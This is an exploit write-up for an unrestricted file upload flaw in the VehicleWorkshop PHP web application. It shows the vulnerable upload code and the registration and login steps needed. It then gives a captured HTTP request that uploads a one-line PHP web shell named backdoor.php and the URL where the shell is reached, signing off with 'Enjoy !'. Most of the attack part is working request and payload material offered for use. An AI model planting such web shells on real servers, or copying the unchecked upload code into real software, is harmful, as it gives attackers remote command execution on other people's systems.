VehicleWorkshop - Arbitrary File Upload

# Exploit Title: VehicleWorkshop Unrestricted File Upload or Shell Upload
# Exploit Author: Touhid M.Shaikh
# Date: 1/08/2017
# Vendor Homepage: https://github.com/spiritson/VehicleWorkshop
# Tested on : Kali Linux 2.0 64 bit and Windows 7



===================
Vulnerable Page:
===================

http://192.168.1.13/sellvehicle.php

====================
Vulnerable Source:
====================


--------------------------------PHP code-----------
<?php
if(isset($_POST["submit"]))
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);


--------------------------------------------------

-----------------------HTML Form -----------------
<label for="images"></label>
      <label for="file"></label>
      <input type="file" name="file" id="file" /><input type="hidden"
name="image"  />

-----------------------------------------------------------------------

U can upload Shell or File via Regular or customer User Account.

 ================= POC ======================

We need to login any customer account or create an account (
http://192.168.1.13/registration.php) and login.

After customer panel open Navigate to
http://192.168.1.13/sellvehicle.php

and feed data and upload you unrestricted file.

--------------------------Request---------------------------

POST /sellvehicle.php HTTP/1.1
Host: 192.168.1.13
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:54.0) Gecko/20100101
Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,hi;q=0.8,ar;q=0.5,en;q=0.3
Content-Type: multipart/form-data;
boundary=---------------------------144421253520516158491092952973
Content-Length: 1085
Referer: http://192.168.1.13/sellvehicle.php
Cookie: PHPSESSID=ccopsj443v8d2kksu0u40cte10
Connection: close
Upgrade-Insecure-Requests: 1

.
.
.
.skip

Content-Disposition: form-data; name="file"; filename="backdoor.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

.
.
.
.skip
------------------------------------------------------------------------------

--------------------------Rsponse --------------------------
HTTP/1.1 200 OK
Date: Mon, 31 Jul 2017 20:38:09 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l
mod_autoindex_color PHP/5.3.1
X-Powered-By: PHP/5.3.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Content-Length: 2909
Connection: close
Content-Type: text/html
------------------------------------------------------------------------------


====================================================================

Now You Can Access you Shell or File in /upload/backdoor.php

http://192.168.1.13/upload/backdoor.php


Enjoy !

Regards.
Touhid Shaikh